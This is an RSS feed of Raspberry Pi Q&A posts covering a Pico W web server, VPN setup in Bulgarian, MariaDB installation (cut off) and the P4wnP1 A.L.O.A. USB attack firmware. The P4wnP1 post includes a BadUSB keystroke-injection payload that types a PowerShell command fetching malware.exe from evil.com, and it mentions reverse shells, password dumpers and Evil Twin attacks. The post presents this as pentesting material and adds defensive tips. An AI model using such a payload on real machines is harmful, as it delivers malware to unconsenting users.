<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
<channel>
<title>Asky Q&amp;A - Recent questions in Raspberry Pi</title>
<link>https://asky.uk/questions/raspberry-pi</link>
<description>Powered by Question2Answer</description>
<item>
<title>Welcome to Asky AI - Raspberry Pi 2 POWER</title>
<link>https://asky.uk/76/welcome-to-asky-ai-raspberry-pi-2-power</link>
<description>&lt;p&gt;I’m learning backend dev and built this little AI web app as a project. It’s called Asky Bot, and it generates HTML/CSS from descriptions using OpenAI.&lt;/p&gt;&lt;p&gt;Link: &lt;a target=&quot;_blank&quot; rel=&quot;nofollow&quot; href=&quot;https://asky.uk/askyai&quot;&gt;https://asky.uk/askyai&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Technologies:&lt;/p&gt;&lt;p&gt;Flask + Jinja2&lt;br&gt;DispatcherMiddleware for path management&lt;br&gt;Custom CSS, no JS frameworks&lt;br&gt;Raspberry Pi 2 hosting&lt;br&gt;If you’re learning Flask or AI integration, happy to share tips or code.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;https://i.ibb.co/PZcsKqDL/Screenshot-2025-07-18-at-07-26-45-Asky-AI-Home.png&quot; style=&quot;height:192px; width:660px&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;/p&gt;</description>
<category>Raspberry Pi</category>
<guid isPermaLink="true">https://asky.uk/76/welcome-to-asky-ai-raspberry-pi-2-power</guid>
<pubDate>Sun, 13 Jul 2025 21:46:32 +0000</pubDate>
</item>
<item>
<title>Raspberry Pi Products Category on Adafruit Industries</title>
<link>https://asky.uk/70/raspberry-pi-products-category-on-adafruit-industries</link>
<description>&lt;p&gt;Raspberry Pi · 40 Pin GPIO Extension Cable for any 2x20 Pin Raspberry Pi - 150mm / 6&quot; long · 8 Channel LoRa Gateway Kit with LoRa HAT and GPS for Pi 4 - Pi Not ...&lt;/p&gt;&lt;p&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://www.adafruit.com/category/105&quot;&gt;Прочети още&lt;/a&gt;&lt;/p&gt;</description>
<category>Raspberry Pi</category>
<guid isPermaLink="true">https://asky.uk/70/raspberry-pi-products-category-on-adafruit-industries</guid>
<pubDate>Sun, 30 Mar 2025 20:59:55 +0000</pubDate>
</item>
<item>
<title>How to run a webserver on Raspberry Pi Pico W?</title>
<link>https://asky.uk/69/how-to-run-a-webserver-on-raspberry-pi-pico-w</link>
<description>Running a web server on the **Raspberry Pi Pico W** (which has Wi-Fi capability) is possible using **MicroPython** or **C/C++ (with the Pico SDK)**. Below, I&amp;#039;ll guide you through setting up a simple web server using **MicroPython** (the easiest method).&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
### **Steps to Run a Web Server on Raspberry Pi Pico W**&lt;br /&gt;
&lt;br /&gt;
#### **1. Set Up MicroPython on Pico W**&lt;br /&gt;
- Download the latest **MicroPython firmware** for Pico W from: &amp;nbsp;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;[https://micropython.org/download/rp2-pico-w/](https://micropython.org/download/rp2-pico-w/)&lt;br /&gt;
- Flash it onto the Pico W by holding the **BOOTSEL** button while plugging it into USB, then drag the `.uf2` file to the `RPI-RP2` drive.&lt;br /&gt;
&lt;br /&gt;
#### **2. Connect to Wi-Fi**&lt;br /&gt;
Use the following script to connect your Pico W to Wi-Fi:&lt;br /&gt;
&lt;br /&gt;
```python&lt;br /&gt;
import network&lt;br /&gt;
import time&lt;br /&gt;
&lt;br /&gt;
# Configure Wi-Fi&lt;br /&gt;
ssid = &amp;quot;YOUR_WIFI_SSID&amp;quot;&lt;br /&gt;
password = &amp;quot;YOUR_WIFI_PASSWORD&amp;quot;&lt;br /&gt;
&lt;br /&gt;
wlan = network.WLAN(network.STA_IF)&lt;br /&gt;
wlan.active(True)&lt;br /&gt;
wlan.connect(ssid, password)&lt;br /&gt;
&lt;br /&gt;
# Wait for connection&lt;br /&gt;
max_wait = 10&lt;br /&gt;
while max_wait &amp;gt; 0:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if wlan.isconnected():&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;break&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;max_wait -= 1&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;time.sleep(1)&lt;br /&gt;
&lt;br /&gt;
if not wlan.isconnected():&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;raise RuntimeError(&amp;quot;Network connection failed&amp;quot;)&lt;br /&gt;
else:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print(&amp;quot;Connected to Wi-Fi&amp;quot;)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print(&amp;quot;IP Address:&amp;quot;, wlan.ifconfig()[0])&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
#### **3. Create a Simple Web Server**&lt;br /&gt;
Here’s a basic HTTP server that responds with &amp;quot;Hello, Pico W!&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
```python&lt;br /&gt;
import socket&lt;br /&gt;
&lt;br /&gt;
# HTML content to serve&lt;br /&gt;
html = &amp;quot;&amp;quot;&amp;quot;&amp;lt;!DOCTYPE html&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;head&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;title&amp;gt;Pico W Web Server&amp;lt;/title&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;body&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;h1&amp;gt;Hello, Pico W!&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Set up socket&lt;br /&gt;
addr = socket.getaddrinfo(&amp;#039;0.0.0.0&amp;#039;, 80)[0][-1]&lt;br /&gt;
s = socket.socket()&lt;br /&gt;
s.bind(addr)&lt;br /&gt;
s.listen(1)&lt;br /&gt;
print(&amp;quot;Listening on&amp;quot;, addr)&lt;br /&gt;
&lt;br /&gt;
# Serve requests&lt;br /&gt;
while True:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;try:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;conn, addr = s.accept()&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print(&amp;quot;Client connected from&amp;quot;, addr)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;request = conn.recv(1024)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;response = html&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;conn.send(&amp;quot;HTTP/1.1 200 OK\r\nContent-Type: text/html\r\n\r\n&amp;quot;)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;conn.send(response)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;conn.close()&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;except OSError as e:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print(&amp;quot;Connection closed&amp;quot;)&lt;br /&gt;
```&lt;br /&gt;
&lt;br /&gt;
#### **4. Run the Web Server**&lt;br /&gt;
- Save the script as `main.py` on your Pico W so it runs on boot.&lt;br /&gt;
- Reset the Pico W (or unplug/replug it).&lt;br /&gt;
- Open a browser and enter the **IP address** printed in the REPL.&lt;br /&gt;
&lt;br /&gt;
You should see the **&amp;quot;Hello, Pico W!&amp;quot;** page.&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
### **Enhancements (Optional)**&lt;br /&gt;
- **Handle multiple requests** (avoid crashing after one request).&lt;br /&gt;
- **Add routes** (e.g., `/`, `/led`).&lt;br /&gt;
- **Control GPIO pins** (toggle an LED via HTTP).&lt;br /&gt;
- **Use `microdot` (a lightweight MicroPython web framework)**:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;```python&lt;br /&gt;
&amp;nbsp;&amp;nbsp;from microdot import Microdot&lt;br /&gt;
&amp;nbsp;&amp;nbsp;app = Microdot()&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;@app.route(&amp;#039;/&amp;#039;)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;def index(request):&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return &amp;quot;Hello from MicroDot!&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;&amp;nbsp;app.run(port=80)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;```&lt;br /&gt;
&amp;nbsp;&amp;nbsp;(Install `microdot` via `mip` or manually.)&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
### **Troubleshooting**&lt;br /&gt;
- **Can&amp;#039;t connect to Wi-Fi?** Check credentials and signal strength.&lt;br /&gt;
- **Port 80 not working?** Ensure no other device is using it.&lt;br /&gt;
- **Script crashes?** Wrap in `try-except` blocks.&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
This is a basic example, but you can expand it to control sensors, LEDs, or serve dynamic content. Let me know if you need help with more advanced features! </description>
<category>Raspberry Pi</category>
<guid isPermaLink="true">https://asky.uk/69/how-to-run-a-webserver-on-raspberry-pi-pico-w</guid>
<pubDate>Fri, 28 Mar 2025 23:47:45 +0000</pubDate>
</item>
<item>
<title>How to use Raspberry Pi Zero W P4wnP1 A.L.O.A?</title>
<link>https://asky.uk/68/how-to-use-raspberry-pi-zero-w-p4wnp1-a-l-o-a</link>
<description>The **Raspberry Pi Zero W** paired with **P4wnP1 A.L.O.A** (A Little Offensive Appliance) is a powerful combination for penetration testing, ethical hacking, and USB attack simulations. Below is an overview of what this setup can do and how to get started:&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
### **What is P4wnP1 A.L.O.A?**&lt;br /&gt;
P4wnP1 A.L.O.A is a firmware framework for the **Raspberry Pi Zero (W/WH)** that turns it into a **programmable USB attack tool**. It allows you to emulate keyboards, network interfaces, storage devices, and more, making it ideal for:&lt;br /&gt;
- **HID Attacks** (keystroke injection, BadUSB)&lt;br /&gt;
- **Network Pivoting** (Ethernet gadget, Wi-Fi impersonation)&lt;br /&gt;
- **Payload Delivery** (malicious scripts, exfiltration)&lt;br /&gt;
- **Covert Operations** (stealthy backdoors)&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
### **Key Features of P4wnP1 A.L.O.A**&lt;br /&gt;
1. **USB HID Emulation** – Acts as a keyboard/mouse to execute scripts on a target machine.&lt;br /&gt;
2. **Ethernet over USB** – Provides network access through the Pi Zero.&lt;br /&gt;
3. **Mass Storage Emulation** – Pretends to be a USB drive for payload delivery.&lt;br /&gt;
4. **Bluetooth &amp;amp; Wi-Fi Attacks** – Can perform deauthentication, sniffing, etc.&lt;br /&gt;
5. **Web Interface &amp;amp; Remote Control** – Manage attacks via a browser.&lt;br /&gt;
6. **Scriptable Payloads** – Write custom attack scripts in JavaScript or Python.&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
### **Setting Up P4wnP1 A.L.O.A on Raspberry Pi Zero W**&lt;br /&gt;
#### **1. Download the Firmware**&lt;br /&gt;
- Get the latest **P4wnP1 A.L.O.A** image from: &amp;nbsp;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;[https://github.com/RoganDawes/P4wnP1_aloa](https://github.com/RoganDawes/P4wnP1_aloa)&lt;br /&gt;
&lt;br /&gt;
#### **2. Flash the Image**&lt;br /&gt;
- Use **Balena Etcher** or `dd` to flash the `.img` file to a microSD card.&lt;br /&gt;
&lt;br /&gt;
#### **3. Boot &amp;amp; Configure**&lt;br /&gt;
- Insert the microSD into the Pi Zero W and connect it via USB to a computer.&lt;br /&gt;
- By default, it should appear as a **USB Ethernet device**.&lt;br /&gt;
- Access the web interface at: &amp;nbsp;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;**`http://172.24.0.1:8000`** &amp;nbsp;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;(Default credentials: `admin:admin`)&lt;br /&gt;
&lt;br /&gt;
#### **4. Customize Payloads**&lt;br /&gt;
- Use the **web GUI** or SSH (`ssh pi@172.24.0.1`, default password: `toor`) to configure attacks.&lt;br /&gt;
- Preloaded scripts include:&lt;br /&gt;
&amp;nbsp;&amp;nbsp;- **HID attacks** (e.g., reverse shell, password dumpers)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;- **Wi-Fi attacks** (e.g., Karma, Evil Twin)&lt;br /&gt;
&amp;nbsp;&amp;nbsp;- **Persistence mechanisms**&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
### **Example: BadUSB Attack (Keystroke Injection)**&lt;br /&gt;
1. **Connect** the Pi Zero W to a target PC (it will appear as a keyboard).&lt;br /&gt;
2. **Trigger** a payload (e.g., open CMD and download malware):&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;```js&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;delay(1000);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;press(&amp;quot;GUI r&amp;quot;);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;delay(500);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;type(&amp;quot;cmd.exe\n&amp;quot;);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;delay(1000);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;type(&amp;quot;powershell -c \&amp;quot;iwr http://evil.com/malware.exe -O malware.exe\&amp;quot;\n&amp;quot;);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;```&lt;br /&gt;
3. The target PC executes the commands automatically.&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
### **Defensive Considerations**&lt;br /&gt;
- **Monitor USB devices** on secure systems.&lt;br /&gt;
- **Disable AutoRun** in Windows (`gpedit.msc` → disable AutoPlay).&lt;br /&gt;
- **Use USB condoms** (data blockers) for charging ports.&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
### **Conclusion**&lt;br /&gt;
The **Raspberry Pi Zero W + P4wnP1 A.L.O.A** is a compact yet powerful tool for security professionals. It can be used responsibly for penetration testing, red teaming, and learning about USB-based attacks.</description>
<category>Raspberry Pi</category>
<guid isPermaLink="true">https://asky.uk/68/how-to-use-raspberry-pi-zero-w-p4wnp1-a-l-o-a</guid>
<pubDate>Tue, 25 Mar 2025 21:13:06 +0000</pubDate>
</item>
<item>
<title>How to use Raspberry pi for VPN?</title>
<link>https://asky.uk/67/how-to-use-raspberry-pi-for-vpn</link>
<description>Ето подреденият текст с по-добра четливост и структура: &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
# **Настройка на VPN сървър с Raspberry Pi** &amp;nbsp;&lt;br /&gt;
Използването на **Raspberry Pi** като **VPN сървър** е **евтин и ефективен** начин за: &amp;nbsp;&lt;br /&gt;
✅ **Сигурен интернет трафик** &amp;nbsp;&lt;br /&gt;
✅ **Достъп до домашната мрежа отдалечено** &amp;nbsp;&lt;br /&gt;
✅ **Обикаляне на географски ограничения** &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
Тук ще намерите **стъпка по стъпка** ръководство за настройка на **OpenVPN** или **WireGuard** (два популярни VPN протокола). &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
## ** Вариант 1: OpenVPN на Raspberry Pi** &amp;nbsp;&lt;br /&gt;
OpenVPN е **надежден, с отворен код** и подходящ за различни устройства. &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
### ** Изисквания** &amp;nbsp;&lt;br /&gt;
- Raspberry Pi (препоръчително **Raspberry Pi 4** за по-добра скорост) &amp;nbsp;&lt;br /&gt;
- MicroSD карта (**16GB+**) &amp;nbsp;&lt;br /&gt;
- Инсталирана **Raspberry Pi OS** &amp;nbsp;&lt;br /&gt;
- Стабилна интернет връзка &amp;nbsp;&lt;br /&gt;
- Възможност за **port forwarding** в рутера (ако искате достъп отвън) &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
### ** Стъпки** &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
#### **1. Актуализиране на системата** &amp;nbsp;&lt;br /&gt;
```bash&lt;br /&gt;
sudo apt update &amp;amp;&amp;amp; sudo apt upgrade -y&lt;br /&gt;
``` &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
#### **2. Инсталиране на OpenVPN &amp;amp; Easy-RSA** &amp;nbsp;&lt;br /&gt;
```bash&lt;br /&gt;
sudo apt install openvpn easy-rsa -y&lt;br /&gt;
``` &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
#### **3. Настройка на Certificate Authority (CA)** &amp;nbsp;&lt;br /&gt;
```bash&lt;br /&gt;
make-cadir ~/openvpn-ca&lt;br /&gt;
cd ~/openvpn-ca&lt;br /&gt;
``` &amp;nbsp;&lt;br /&gt;
Редактирайте файла `vars`: &amp;nbsp;&lt;br /&gt;
```bash&lt;br /&gt;
nano vars&lt;br /&gt;
``` &amp;nbsp;&lt;br /&gt;
(Задайте `KEY_COUNTRY`, `KEY_PROVINCE`, `KEY_CITY`, `KEY_ORG`, `KEY_EMAIL` и др.) &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
#### **4. Генериране на сертификати и ключове** &amp;nbsp;&lt;br /&gt;
```bash&lt;br /&gt;
source vars&lt;br /&gt;
./clean-all&lt;br /&gt;
./build-ca &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# Натиснете Enter за default стойности&lt;br /&gt;
./build-key-server server &amp;nbsp;# Име на сървъра: &amp;quot;server&amp;quot;&lt;br /&gt;
./build-key client1 &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# Създаване на клиентски сертификат&lt;br /&gt;
./build-dh &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# Генериране на Diffie-Hellman параметри&lt;br /&gt;
openvpn --genkey --secret keys/ta.key &amp;nbsp;# За допълнителна сигурност&lt;br /&gt;
``` &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
#### **5. Конфигуриране на OpenVPN сървъра** &amp;nbsp;&lt;br /&gt;
Копирайте примерния конфигурационен файл: &amp;nbsp;&lt;br /&gt;
```bash&lt;br /&gt;
sudo cp /usr/share/doc/openvpn/examples/sample-config-files/server.conf.gz /etc/openvpn/&lt;br /&gt;
sudo gzip -d /etc/openvpn/server.conf.gz&lt;br /&gt;
sudo nano /etc/openvpn/server.conf&lt;br /&gt;
``` &amp;nbsp;&lt;br /&gt;
**Важни настройки:** &amp;nbsp;&lt;br /&gt;
```ini&lt;br /&gt;
port 1194&lt;br /&gt;
proto udp&lt;br /&gt;
dev tun&lt;br /&gt;
ca /home/pi/openvpn-ca/keys/ca.crt&lt;br /&gt;
cert /home/pi/openvpn-ca/keys/server.crt&lt;br /&gt;
key /home/pi/openvpn-ca/keys/server.key&lt;br /&gt;
dh /home/pi/openvpn-ca/keys/dh2048.pem&lt;br /&gt;
server 10.8.0.0 255.255.255.0&lt;br /&gt;
push &amp;quot;redirect-gateway def1 bypass-dhcp&amp;quot; &amp;nbsp;# Пренасочва целия трафик през VPN&lt;br /&gt;
push &amp;quot;dhcp-option DNS 8.8.8.8&amp;quot; &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;# Използва Google DNS&lt;br /&gt;
keepalive 10 120&lt;br /&gt;
tls-auth /home/pi/openvpn-ca/keys/ta.key 0&lt;br /&gt;
cipher AES-256-CBC&lt;br /&gt;
user nobody&lt;br /&gt;
group nogroup&lt;br /&gt;
persist-key&lt;br /&gt;
persist-tun&lt;br /&gt;
status openvpn-status.log&lt;br /&gt;
verb 3&lt;br /&gt;
``` &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
#### **6. Активиране на IP Forwarding и защита** &amp;nbsp;&lt;br /&gt;
Редактирайте `/etc/sysctl.conf`: &amp;nbsp;&lt;br /&gt;
```bash&lt;br /&gt;
sudo nano /etc/sysctl.conf&lt;br /&gt;
``` &amp;nbsp;&lt;br /&gt;
Разкоментирайте: &amp;nbsp;&lt;br /&gt;
```ini&lt;br /&gt;
net.ipv4.ip_forward=1&lt;br /&gt;
``` &amp;nbsp;&lt;br /&gt;
Приложете промените: &amp;nbsp;&lt;br /&gt;
```bash&lt;br /&gt;
sudo sysctl -p&lt;br /&gt;
``` &amp;nbsp;&lt;br /&gt;
Настройте NAT: &amp;nbsp;&lt;br /&gt;
```bash&lt;br /&gt;
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&lt;br /&gt;
sudo apt install iptables-persistent -y&lt;br /&gt;
sudo netfilter-persistent save&lt;br /&gt;
``` &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
#### **7. Стартиране на OpenVPN** &amp;nbsp;&lt;br /&gt;
```bash&lt;br /&gt;
sudo systemctl start openvpn@server&lt;br /&gt;
sudo systemctl enable openvpn@server&lt;br /&gt;
``` &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
#### **8. Създаване на клиентска конфигурация** &amp;nbsp;&lt;br /&gt;
Създайте файл `client1.ovpn`: &amp;nbsp;&lt;br /&gt;
```bash&lt;br /&gt;
nano ~/client1.ovpn&lt;br /&gt;
``` &amp;nbsp;&lt;br /&gt;
Поставете следното (като замените със съответните сертификати): &amp;nbsp;&lt;br /&gt;
```ini&lt;br /&gt;
client&lt;br /&gt;
dev tun&lt;br /&gt;
proto udp&lt;br /&gt;
remote YOUR_PUBLIC_IP 1194 &amp;nbsp;# Заменете с публичния IP на Pi&lt;br /&gt;
resolv-retry infinite&lt;br /&gt;
nobind&lt;br /&gt;
persist-key&lt;br /&gt;
persist-tun&lt;br /&gt;
remote-cert-tls server&lt;br /&gt;
cipher AES-256-CBC&lt;br /&gt;
verb 3&lt;br /&gt;
&amp;lt;ca&amp;gt;&lt;br /&gt;
[PASTE ca.crt CONTENTS HERE]&lt;br /&gt;
&amp;lt;/ca&amp;gt;&lt;br /&gt;
&amp;lt;cert&amp;gt;&lt;br /&gt;
[PASTE client1.crt CONTENTS HERE]&lt;br /&gt;
&amp;lt;/cert&amp;gt;&lt;br /&gt;
&amp;lt;key&amp;gt;&lt;br /&gt;
[PASTE client1.key CONTENTS HERE]&lt;br /&gt;
&amp;lt;/key&amp;gt;&lt;br /&gt;
&amp;lt;tls-auth&amp;gt;&lt;br /&gt;
[PASTE ta.key CONTENTS HERE]&lt;br /&gt;
&amp;lt;/tls-auth&amp;gt;&lt;br /&gt;
key-direction 1&lt;br /&gt;
``` &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
## ** Вариант 2: WireGuard на Raspberry Pi** &amp;nbsp;&lt;br /&gt;
WireGuard е **по-бърз и лесен** за настройка. &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
### **Инсталиране** &amp;nbsp;&lt;br /&gt;
```bash&lt;br /&gt;
sudo apt install wireguard -y&lt;br /&gt;
``` &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
### **Генериране на ключове** &amp;nbsp;&lt;br /&gt;
```bash&lt;br /&gt;
cd /etc/wireguard&lt;br /&gt;
sudo umask 077&lt;br /&gt;
sudo wg genkey | tee privatekey | wg pubkey &amp;gt; publickey&lt;br /&gt;
``` &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
### **Конфигуриране на сървъра** &amp;nbsp;&lt;br /&gt;
```bash&lt;br /&gt;
sudo nano /etc/wireguard/wg0.conf&lt;br /&gt;
``` &amp;nbsp;&lt;br /&gt;
Пример: &amp;nbsp;&lt;br /&gt;
```ini&lt;br /&gt;
[Interface]&lt;br /&gt;
Address = 10.0.0.1/24&lt;br /&gt;
PrivateKey = [YOUR_SERVER_PRIVATE_KEY]&lt;br /&gt;
ListenPort = 51820&lt;br /&gt;
PostUp = iptables -A FORWARD -i %i -j ACCEPT; iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE&lt;br /&gt;
PostDown = iptables -D FORWARD -i %i -j ACCEPT; iptables -t nat -D POSTROUTING -o eth0 -j MASQUERADE&lt;br /&gt;
&lt;br /&gt;
[Peer]&lt;br /&gt;
PublicKey = [CLIENT_PUBLIC_KEY]&lt;br /&gt;
AllowedIPs = 10.0.0.2/32&lt;br /&gt;
``` &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
### **Стартиране** &amp;nbsp;&lt;br /&gt;
```bash&lt;br /&gt;
sudo systemctl enable wg-quick@wg0&lt;br /&gt;
sudo systemctl start wg-quick@wg0&lt;br /&gt;
``` &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
## ** Финален етап (и за двата метода)** &amp;nbsp;&lt;br /&gt;
1. **Port Forwarding** – пренасочете **UDP 1194 (OpenVPN)** или **UDP 51820 (WireGuard)** в рутера. &amp;nbsp;&lt;br /&gt;
2. **Dynamic DNS** (ако имате динамичен IP) – използвайте **No-IP** или **DuckDNS**. &amp;nbsp;&lt;br /&gt;
3. **Свързване от клиенти** – използвайте съответния клиентски софтуер. &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
---&lt;br /&gt;
&lt;br /&gt;
### ** Заключение** &amp;nbsp;&lt;br /&gt;
- **OpenVPN**: Подходящ за **всички устройства**, но по-сложен. &amp;nbsp;&lt;br /&gt;
- **WireGuard**: **По-бърз** и лесен, идеален за **мобилни устройства**. &amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;**Готово!** Вашият Raspberry Pi вече е **VPN сървър**. Безопасен браузънг и отдалечен достъп са ви гарантирани. </description>
<category>Raspberry Pi</category>
<guid isPermaLink="true">https://asky.uk/67/how-to-use-raspberry-pi-for-vpn</guid>
<pubDate>Tue, 25 Mar 2025 20:59:26 +0000</pubDate>
</item>
<item>
<title>How to Install MariaDB on Raspberry Pi?</title>
<link>https://asky.uk/66/how-to-install-mariadb-on-raspberry-pi</link>
<description>&lt;h3 class=&quot;wp-block-heading&quot;&gt;Install MariaDB server&lt;/h3&gt;&lt;p&gt;As said in the introduction, MariaDB is available in the Raspberry Pi OS repository, so the installation is straightforward. Open a terminal (or connect via SSH) and follow the instructions:&lt;/p&gt;&lt;ul class=&quot;wp-block-list&quot;&gt;&lt;li&gt;As always, &lt;strong&gt;start by updating your system&lt;/strong&gt;:&lt;br&gt;&lt;code&gt;sudo apt update&lt;br&gt;sudo apt upgrade&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;/div&gt;&lt;ul class=&quot;wp-block-list&quot;&gt;&lt;li&gt;Then you can &lt;strong&gt;install MariaDB&lt;/strong&gt; with this command:&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;code&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; sudo apt install mariadb-server&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;ul class=&quot;wp-block-list&quot;&gt;&lt;li&gt;&lt;strong&gt;Type “Y” and Enter to continue.&lt;/strong&gt;&lt;br&gt;After a few seconds, the installation process is complete and MariaDB is almost ready to 